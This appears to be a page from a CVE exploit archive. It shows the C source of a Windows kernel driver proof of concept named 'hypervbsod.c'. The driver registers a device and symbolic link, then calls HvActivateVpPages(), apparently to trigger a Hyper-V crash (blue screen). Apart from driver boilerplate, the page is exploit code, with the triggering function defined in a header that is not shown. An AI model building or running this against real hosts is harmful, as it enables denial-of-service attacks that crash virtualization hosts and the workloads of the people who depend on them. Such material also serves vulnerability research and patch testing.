4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / hypervbsod.c C
#include "hypervbsod.h"

VOID     UnloadRoutine(IN PDRIVER_OBJECT DriverObject);
NTSTATUS Create_File_IRPprocessing(IN PDEVICE_OBJECT fdo, IN PIRP Irp);
NTSTATUS Close_HandleIRPprocessing(IN PDEVICE_OBJECT fdo, IN PIRP Irp);
NTSTATUS ReadWrite_IRPhandler(IN PDEVICE_OBJECT fdo, IN PIRP Irp);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
	IN PUNICODE_STRING RegistryPath)
{
	NTSTATUS status = STATUS_SUCCESS;
	PDEVICE_OBJECT  fdo;
	UNICODE_STRING  devName;
	PHVDETECT_DEVICE_EXTENSION dx;
	UNICODE_STRING symLinkName;
	UNICODE_STRING DeviceSDDLString;
	UNREFERENCED_PARAMETER(RegistryPath);

	DriverObject->DriverUnload = UnloadRoutine;
	DriverObject->MajorFunction[IRP_MJ_CREATE] = Create_File_IRPprocessing;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = Close_HandleIRPprocessing;
	DriverObject->MajorFunction[IRP_MJ_READ] = ReadWrite_IRPhandler;
	DriverObject->MajorFunction[IRP_MJ_WRITE] = ReadWrite_IRPhandler;

	RtlInitUnicodeString(&devName, DEVICE_NAME);
	RtlInitUnicodeString(&DeviceSDDLString, DEVICE_SDDL);

	status = IoCreateDeviceSecure(DriverObject,
		sizeof(HVDETECT_DEVICE_EXTENSION),
		&devName,
		FILE_DEVICE_UNKNOWN,
		FILE_DEVICE_SECURE_OPEN,
		FALSE,
		&DeviceSDDLString,
		NULL,
		&fdo);

	if (!NT_SUCCESS(status)) return status;

	dx = (PHVDETECT_DEVICE_EXTENSION)fdo->DeviceExtension;
	dx->fdo = fdo;

	RtlInitUnicodeString(&symLinkName, SYM_LINK_NAME);
	dx->ustrSymLinkName = symLinkName;

	status = IoCreateSymbolicLink(&symLinkName, &devName);
	if (!NT_SUCCESS(status))
	{
		IoDeleteDevice(fdo);
		return status;
	}

	HvActivateVpPages();

	return status;
}

NTSTATUS CompleteIrp(PIRP Irp, NTSTATUS status, ULONG info)
{
	Irp->IoStatus.Status = status;
	Irp->IoStatus.Information = info;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return status;
}

NTSTATUS ReadWrite_IRPhandler(IN PDEVICE_OBJECT fdo, IN PIRP Irp)
{
	ULONG BytesTxd = 0;
	NTSTATUS status = STATUS_SUCCESS;
	UNREFERENCED_PARAMETER(fdo);
	return CompleteIrp(Irp, status, BytesTxd);
}

NTSTATUS Create_File_IRPprocessing(IN PDEVICE_OBJECT fdo, IN PIRP Irp)
{
	UNREFERENCED_PARAMETER(fdo);
	return CompleteIrp(Irp, STATUS_SUCCESS, 0);
}

NTSTATUS Close_HandleIRPprocessing(IN PDEVICE_OBJECT fdo, IN PIRP Irp)
{
	UNREFERENCED_PARAMETER(fdo);
	return CompleteIrp(Irp, STATUS_SUCCESS, 0);
}


VOID UnloadRoutine(IN PDRIVER_OBJECT pDriverObject)
{
	PDEVICE_OBJECT	pNextDevObj;
	int i;

	pNextDevObj = pDriverObject->DeviceObject;

	for (i = 0; pNextDevObj != NULL; i++)
	{
		PHVDETECT_DEVICE_EXTENSION dx =
			(PHVDETECT_DEVICE_EXTENSION)pNextDevObj->DeviceExtension;
		UNICODE_STRING* pLinkName = &(dx->ustrSymLinkName);
		pNextDevObj = pNextDevObj->NextDevice;
		IoDeleteSymbolicLink(pLinkName);
		IoDeleteDevice(dx->fdo);
	}
}